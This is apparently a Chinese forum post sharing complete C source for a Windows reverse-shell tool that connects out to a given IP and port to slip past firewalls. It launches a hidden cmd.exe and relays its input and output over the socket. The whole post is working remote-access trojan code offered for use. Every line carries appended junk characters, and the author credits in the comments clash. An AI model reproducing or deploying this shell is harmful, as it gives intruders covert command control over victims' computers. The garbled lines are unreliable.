这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 1Giy|;2/
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/* ============================== *[*#cMZ
Rebound port in Windows NT 6G"AP~|0
By wind,2006/7 *BVkviqxz
===============================*/ iV#JJ-OBq
#include sm}q&m]ad
#include {+f@7^/i.
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#pragma comment(lib,"wsock32.lib") =SLP}bP{:
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void OutputShell(); L>{E8qv>w
SOCKET sClient; [!{*)4$6
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; IS7g{:}=p
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void main(int argc,char **argv) )rD] y2^<
{ YZ\$b=-
WSADATA stWsaData; !B?/6XRUx
int nRet; ]+[ NX)=
SOCKADDR_IN stSaiClient,stSaiServer; 0CY_nn#3
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if(argc != 3) #{(?a.:
{ !mpRLBH
printf("Useage:\n\rRebound DestIP DestPort\n"); D8_m_M|P
return; xMtl<Na
} ?n/:1LN,
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WSAStartup(MAKEWORD(2,2),&stWsaData); u*[,W-R&
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); }M
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stSaiClient.sin_family = AF_INET; H;,cUb
stSaiClient.sin_port = htons(0); VS^%PM#:/
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ,*0>CBJvv
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) )8&Q.? T
{ -$;H_B+.
printf("Bind Socket Failed!\n"); 6+IOJtj
return; TEB%y9
} sCaw"{5qc
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stSaiServer.sin_family = AF_INET; df#DKV:
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); qsFA~{o.
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 2Iz@lrO6
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) [?W3XUJ,Y
{ .x6*9z#q
printf("Connect Error!"); jL8&
return; c@
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}
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OutputShell(); 7*^\mycv
} |IH-a"
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void OutputShell() J~ v<Z/gm
{ #x#.@
char szBuff[1024]; S=[K/Kf-
SECURITY_ATTRIBUTES stSecurityAttributes; }<FBcc(n
OSVERSIONINFO stOsversionInfo; ;eG%#=>
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; S3hJL:3c
STARTUPINFO stStartupInfo; F#4?@W
char *szShell; tK{`?NS
PROCESS_INFORMATION stProcessInformation; zo@>~G3$9
unsigned long lBytesRead; o'myo.k{
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); \EYhAx`2
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); &z{oVU+mA
stSecurityAttributes.lpSecurityDescriptor = 0; 3X0^xUA6
stSecurityAttributes.bInheritHandle = TRUE; aChY5R
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 8XX,(k_b
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); zfi{SO
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 9]|[z{v'>l
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; HtY\!_Ea
stStartupInfo.wShowWindow = SW_HIDE; XFYCPET
stStartupInfo.hStdInput = hReadPipe; :BMU c-[
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; wi*Ke2YKP
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GetVersionEx(&stOsversionInfo); tDEpR
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switch(stOsversionInfo.dwPlatformId)
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{ o,bV.O.W
case 1: 7_#v_ A^
szShell = "command.com"; 1P8$z:|~
break; mg'-]>$ $]
default: 3zWY%(8t4?
szShell = "cmd.exe"; _PNU*E%s<
break; O|7q,bEm^
} Vize0fsD
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 5?9}^s4
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send(sClient,szMsg,77,0); ?{_dW=AQ1
while(1) [p4a\Qg0
{ }qV4]*+{
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); o>U%3-+T^J
if(lBytesRead) w^R5/#F_r
{ s_`wLQ7e
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 7jts;H=
send(sClient,szBuff,lBytesRead,0); An]*J|nFIY
} W'gCFX
else pPQ]#v
{ 'O\K Wj{
lBytesRead=recv(sClient,szBuff,1024,0); Dvd.Q/f
if(lBytesRead<=0) break; ^Po\:x%o
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); k qwS/s
} Ta/G
} ?/dz!{JC
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return; 'kW`62AX
}